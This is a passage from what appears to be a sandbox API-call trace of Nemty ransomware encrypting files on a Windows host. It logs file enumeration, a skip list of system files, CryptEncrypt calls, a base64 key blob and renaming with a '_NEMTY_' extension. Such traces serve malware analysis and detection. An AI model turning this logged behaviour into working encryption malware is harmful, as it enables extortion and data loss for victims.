lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.684] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.685] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.690] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.690] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0055.691] CloseHandle (hObject=0xffffffff) returned 0 [0055.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6340540 [0055.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0055.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0055.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0055.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0055.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0055.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6343fe8 [0055.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x6344080 [0055.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0055.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0055.691] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png._nemty_kgobjgd_")) returned 0 [0055.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344080 | out: hHeap=0x4f90000) returned 1 [0055.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340540 | out: hHeap=0x4f90000) returned 1 [0055.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0055.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400e0 | out: hHeap=0x4f90000) returned 1 [0055.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c8 | out: hHeap=0x4f90000) returned 1 [0055.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0055.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0055.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0055.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0055.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.691] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 1 [0055.691] lstrcmpiW (lpString1="nav_uparrow.png", lpString2=".") returned 1 [0055.691] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="..") returned 1 [0055.691] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="...") returned 1 [0055.691] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="windows") returned -1 [0055.691] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="$RECYCLE.BIN") returned 1 [0055.691] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="rsa") returned -1 [0055.691] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="NTDETECT.COM") returned -1 [0055.692] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="ntldr") returned -1 [0055.692] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="MSDOS.SYS") returned 1 [0055.692] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="IO.SYS") returned 1 [0055.692] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="boot.ini") returned 1 [0055.692] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="boot.ini") returned 1 [0055.692] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="AUTOEXEC.BAT") returned 1 [0055.692] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="ntuser.dat") returned -1 [0055.692] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="desktop.ini") returned 1 [0055.692] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="CONFIG.SYS") returned 1 [0055.692] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="RECYCLER") returned -1 [0055.692] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="BOOTSECT.BAK") returned 1 [0055.692] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="bootmgr") returned 1 [0055.692] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="programdata") returned -1 [0055.692] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="appdata") returned 1 [0055.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nav_uparrow.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0055.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nav_uparrow.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nav_uparrow.png", lpUsedDefaultChar=0x0) returned 15 [0055.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0055.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nav_uparrow.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0055.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nav_uparrow.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nav_uparrow.png", lpUsedDefaultChar=0x0) returned 15 [0055.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0055.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nav_uparrow.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0055.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nav_uparrow.png", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nav_uparrow.png", lpUsedDefaultChar=0x0) returned 15 [0055.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nav_uparrow.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0055.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nav_uparrow.png", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nav_uparrow.png", lpUsedDefaultChar=0x0) returned 15 [0055.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6340048 [0055.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0055.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94358 [0055.692] Sleep (dwMilliseconds=0x5) [0055.706] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd4d992d0, dwHighDateTime=0x1d561e7)) [0055.706] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd4d992d0, dwHighDateTime=0x1d561e7)) [0055.706] GetLastError () returned 0x5 [0055.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0055.706] GetLastError () returned 0x5 [0055.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0055.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0055.706] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0055.706] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0055.706] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0055.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400e0 [0055.706] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400e0, pcchString=0x653e91c | out: pszString="v0zq1p1uARYajIDPj3F8rf5p6jSTUn2AcSsW9wxF/mUT3s4J5AT00y0qFt/QoFIV\r\nWc+5EgdL6iUVKSoNillW7rLYzgG0oJ1EUEE9l5j+pYYgLz+6aMI7PsDGm10pMJVm\r\nkuUNDgr2FWlGnHsNLdj+LbgT7ZJVIlKdVRa5ZlZ1uVArMeRgDOIFLTPpLaFs5bGp\r\nv27DhOo3RFmc09alhVW/gSMpDR+fRwNtKDbwhXHXy+fNo1CFb8Qrjy4lOzatvX0i\r\nZgauwLN7tqF1nQf+f/6+jFOjKGM48WbtU5oOXK8O+7iulm+D3Jy3ybZuPGKNWVXc\r\nZYhGUm8pR41ZIKhNTCsdQA==\r\n", pcchString=0x653e91c) returned 1 [0055.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340250 [0055.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400e0 | out: hHeap=0x4f90000) returned 1 [0055.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0055.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0055.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400e0 [0055.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403c8 [0055.706] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0055.707] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0055.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0055.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.707] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.716] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.716] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.725] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.725] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.735] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.735] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.744] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.744] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.754] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.754] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.763] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.763] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.777] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.778] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.778] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.778] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.787] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.787] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.796] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.796] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.806] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.806] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.812] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.812] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.812] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.812] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.818] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.819] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0055.819] CloseHandle (hObject=0xffffffff) returned 0 [0055.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6340540 [0055.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0055.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0055.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0055.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0055.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0055.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6343fe8 [0055.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x6344080 [0055.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0055.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0055.819] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd 